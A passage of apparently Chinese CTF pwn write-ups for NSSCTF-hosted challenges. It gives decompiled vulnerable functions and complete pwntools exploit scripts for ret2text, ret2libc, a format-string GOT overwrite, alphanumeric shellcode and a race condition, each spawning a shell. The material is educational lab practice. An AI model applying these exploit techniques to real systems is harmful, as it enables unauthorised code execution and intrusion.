def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28631
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))

elf = ELF('./pwn')
rop = ROP("./pwn")
ret = rop.find_gadget(["ret"])[0]
offset = 0x100 + 8
backdoor = elf.sym['backdoor']
payload = flat([cyclic(offset),ret,backdoor])
sl(payload)
inter()

[HUBUCTF 2022 新生赛]singout

1
2
3
4
5
6
7
-> % nc node5.anna.nssctf.cn 23406
Here is your shell !,get you flag
root@pwn:~# tail *
root@pwn:~# sh: 1: flag.txt: not found
root@pwn:~# tail ./*
root@pwn:~# ./flag.txt: 1: ./flag.txt: NSSCTF{a015c1f8-1b81-4fda-8a54-48718370d2e6}: not found
root@pwn:~#

[LitCTF 2023]狠狠的溢出涅~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[91]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int8 v5; // [rsp+6Bh] [rbp-5h]
int v6; // [rsp+6Ch] [rbp-4h]

v6 = 0;
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Leave your message:");
read(0, buf, 0x200uLL);
v5 = strlen(buf);
if ( v5 > 0x50u )
{
puts("hacker");
exit(0);
}
puts("Ok,Message Received");
return 0;
}

发现了strlen​存在\x00​截断,然后打ret2libc即可,由于91注意对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28631
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))

elf = ELF('./pwn')

libc = ELF('./libc-2.31.so')
rop = ROP("./pwn")
rdi = rop.find_gadget(['pop rdi'])[0]
ret = rop.find_gadget(['ret'])[0]
info("pop rdi;ret address: {:#x}".format(rdi))
offset = 0x60 + 8
payload1 = flat([ b'\x00'+cyclic(offset-1),rdi,elf.got['puts'],elf.plt['puts'],elf.sym['main']])
sl(payload1)
puts_addr = get_addr()
info("puts addr: {:#x}".format(puts_addr))
libc_base = puts_addr - libc.sym['puts']

system_addr,bin_sh = get_sb()

payload2 = flat([ b'\x00'+cyclic(offset-1),ret,rdi,bin_sh,system_addr])
sl(payload2)

inter()

[HNCTF 2022 Week1]safe_shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
context(os='linux', arch='amd64')
context.terminal = ['tmux', 'splitw', '-h']
if args['DEBUG']:
context.log_level = 'debug'
if args['REMOTE']:
p = remote('node5.anna.nssctf.cn', 29291)
else:
p = process("./pwn")

# elf = ELF('./pwn')
#libc = ELF('./libc.so.6')
s("Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t")
inter()

[LitCTF 2023]口算题卡

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_32_addr():
return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28778
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))


recv_header = p.recvuntil(b"Have fun!\n")

for x in range(100):
p.recvuntil(b"What is")

key = p.recvuntil(b"?")
payload = flat([
str(eval(key[:-1]))
])
print(eval(key[:-1]))
p.sendline(payload)
p.interactive()

[HDCTF 2023]pwnner

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 vuln()
{
int v0; // ebx
char buf[16]; // [rsp+0h] [rbp-50h] BYREF
_BYTE v3[64]; // [rsp+10h] [rbp-40h] BYREF

srand(0x39u);
puts("you should prove that you love pwn,so input your name:");
read(0, buf, 0x10uLL);
v0 = atoi(buf);
if ( v0 == rand() )
{
puts("ok,you have a little cognition about pwn,so what will you do next?");
read(0, v3, 0x100uLL);
}
else
{
puts("sorry,you are not a real pwnner");
}
return 0LL;
}

srand是伪随机数

1
2
3
4
5
6
#include <stdio.h>
int main(){
srand(0x39u);
printf("%d",rand());
return 0;
}

编译发现,一直输出

1956681178

所以即可栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_32_addr():
return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 24121
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
data = subprocess.run('./main',shell=True,stdout=subprocess.PIPE).stdout
sl(data)
offset = 0x40 + 8
payload = cyclic(offset) + p64(elf.sym['get_shell']+1)
sl(payload)
inter()

11.10

[MoeCTF 2022]shell

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("Welcome to PWN world!");
puts("In PWN, your goal is to get shell.");
puts("Here I'll give you the shell as a gift for our first meeting.");
puts("Have fun in the following trip!");
system("/bin/sh");
return 0;
}

直接连接即可

[HGAME 2023 week1]easy_overflow

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF

close(1);
read(0, buf, 0x100uLL);
return 0;
}
int b4ckd0or()
{
return system("/bin/sh");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 24254
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))

elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
offset = 0x10 + 8
payload = flat([cyclic(offset),0x00000000040117B])
sl(payload)
inter()
1
2
$ cat flag>&2
NSSCTF{2e156d0c-2961-4dae-bbd5-12f743d1cf1e}

exec 1>&0​输出重定向

[UUCTF 2022 新生赛]babystack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
fflush(stdin);
fflush(stdout);
fflush(stderr);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
vuln();
return 0;
}
int vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

puts("Welcome to UUCTF!");
puts("What's your name?");
read(0, buf, 0x200uLL);
return printf("Hello, %s\n", buf);
}
int back_door()
{
puts("It's so easy for you!\n");
return system("/bin/sh");
}

注意栈对齐即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "xxx"
port = 1111
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))

elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
offset = 0x100 + 8
payload = flat([cyclic(offset),ret,elf.sym['back_door']])
sl(payload)
inter()

[MoeCTF 2021]ret2text_ez

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
vuln();
return 0;
}
ssize_t vuln()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

return read(0, buf, 0x32uLL);
}
int backdoor()
{
puts("Congratulations!You get it!!!");
return system("/bin/sh");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 20078
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))

elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
offset = 0x20 + 8
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]

sl(flat([cyclic(offset),0x00000000004011AA]))
inter()

[MoeCTF 2022]babyfmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *s; // [esp+18h] [ebp-110h]
char buf[256]; // [esp+1Ch] [ebp-10Ch] BYREF
unsigned int v5; // [esp+11Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
s = (char *)malloc(0x10u);
sprintf(s, "%p", backdoor);
printf("gift: %p\n", s);
while ( 1 )
{
memset(buf, 0, sizeof(buf));
read(0, buf, 0xFFu);
printf(buf);
}
}

注意对齐,将printf的got表修改为backdoor的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='i386')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "xxx"
port = 1111
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))

elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
rl("gift: ")
backdoor = int(p.recvuntil("\n",drop=True).decode("utf-8"),16)
# AAAA 0xffa0d9bc 0xff (nil) 0xf7f936d0 0x3055e4 0xffa0d9d0 0xffa0db94 0xffa0da64 0xf7f8b780 0x8ed61a0 0x41414141 0x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250xa7025(nil)(nil)
payload = fmtstr_payload(11, { elf.got['printf']: 0x0804859C})
sl(payload)
inter()

[SWPUCTF 2022 新生赛]Darling

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __fastcall main(int argc, const char **argv, const char **envp)
{
_DWORD v4[2]; // [rsp+Ch] [rbp-14h] BYREF
int v5; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
init(argc, argv, envp);
pic();
darling();
puts("There may be many uncertainties in the world, but the only certainty is my love for you.\n");
v4[1] = 20020819;
srand(0x1317E53u);
v5 = rand() % 100 - 64;
__isoc99_scanf("%d", v4);
if ( v5 == v4[0] )
backdoor();
else
puts("Oh :( , you didn't get my love");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "xxx"
port = 1111
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))

elf = ELF('./pwn')
#libc = ELF('./libc-2.23-x64.so')
clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

v4 = clibc.srand(0x1317E53)
v5 = clibc.rand()
v5 = v5%100-64
sl(str(v5))
inter()

11.11

[SDCTF 2022]Horoscope

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[48]; // [rsp+10h] [rbp-30h] BYREF

puts("Welcome to SDCTF's very own text based horoscope");
puts("please put in your birthday and time in the format (month/day/year/time) and we will have your very own horoscope");
fflush(stdout);
fgets(s, 320, stdin);
processInput(s);
return 0;
}
int __fastcall processInput(char *a1)
{
const char *nptr; // [rsp+18h] [rbp-28h]
int i; // [rsp+2Ch] [rbp-14h]
int v4; // [rsp+3Ch] [rbp-4h]

nptr = strtok(a1, "/");
for ( i = 0; i <= 3; ++i )
{
if ( !i )
v4 = atoi(nptr);
if ( i == 3 )
atoi(nptr);
}
switch ( v4 )
{
case 1:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "January");
break;
case 2:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "February");
break;
case 3:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "March");
break;
case 4:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "April");
break;
case 5:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "May");
break;
case 6:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "June");
break;
case 7:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "July");
break;
case 8:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "August");
break;
case 9:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "September");
break;
case 10:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "October");
break;
case 11:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "November");
break;
case 12:
printf("wow, you were born in the month of %s. I think that means you will have a great week! :)", "December");
break;
default:
puts("thats not a valid date >:-(");
fflush(stdout);
exit(1);
}
return fflush(stdout);
}

明显的栈溢出让程序正常执行下去所以要有1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28993
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
system_addr = 0x40095F
offset = 0x30 + 8
payload = flat([b'1'+cyclic(offset-1),system_addr])
sl(payload)
inter()

[NISACTF 2022]shop_pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
void __noreturn game()
{
int v0; // eax
int i; // [rsp+Ch] [rbp-4h]

while ( 1 )
{
while ( 1 )
{
puts(" Welcome to my shop ");
puts("+===========================+");
puts("| No| | Sell| Recycle|");
puts("+===+========+=====+========+");
for ( i = 0; i <= 15; ++i )
{
if ( *(_DWORD *)&gd[24 * i + 16] )
printf(
"| %d | %-4s | %3d | %3d |\n",
i,
&gd[24 * i],
*(_DWORD *)&gd[24 * i + 16],
*(_DWORD *)&gd[24 * i + 20]);
}
puts("+===========================+");
puts("1. look bags\n2. buy goods\n3. sale goods");
printf("> ");
v0 = read_int();
if ( v0 != 2 )
break;
buy();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
sale();
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_17:
puts("Invalid!");
}
}
else
{
if ( v0 != 1 )
goto LABEL_17;
look();
}
}
}
unsigned __int64 sale()
{
int v1; // [rsp+Ch] [rbp-14h]
pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Which one?\n> ");
v1 = read_int();
if ( bags[v1] )
{
pthread_create(&newthread, 0LL, to_sale, (void *)v1);
puts("Fair prices!");
}
else
{
puts("R U kidding me?");
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 buy()
{
int v1; // [rsp+Ch] [rbp-14h]
pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Which one?\n> ");
v1 = read_int();
if ( v1 == 1 || v1 == 2 || v1 == 3 )
{
if ( *(_DWORD *)&gd[24 * v1 + 16] <= money )
{
if ( v1 == 3 )
{
money -= *(_DWORD *)&gd[88];
puts("God bless you");
}
else
{
pthread_create(&newthread, 0LL, to_buy, (void *)v1);
puts("Thank you for your patronage~");
}
}
else
{
puts("Poor bastard!");
}
}
return __readfsqword(0x28u) ^ v3;
}
void *__fastcall to_sale(void *a1)
{
int v1; // eax
void *result; // rax

v1 = bags[(int)a1];
if ( v1 == 1 )
{
money += dword_60214C;
}
else
{
if ( v1 != 2 )
{
printf("Oops???");
exit(0);
}
money += dword_602164;
}
usleep(0xC350u);
result = (void *)(int)a1;
bags[(int)a1] = 0;
return result;
}

我们可以在usleep的时候再次卖出物品

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 23234
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
sl("3")
sl("0")
sl("3")
sl("0")
sl("3")
sl("0")
sl("2")
sl("1")
sl("1")
inter()

[CISCN 2019华中]PWN1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF

init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

一个明显的加密程序

有溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

打ret2libc即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
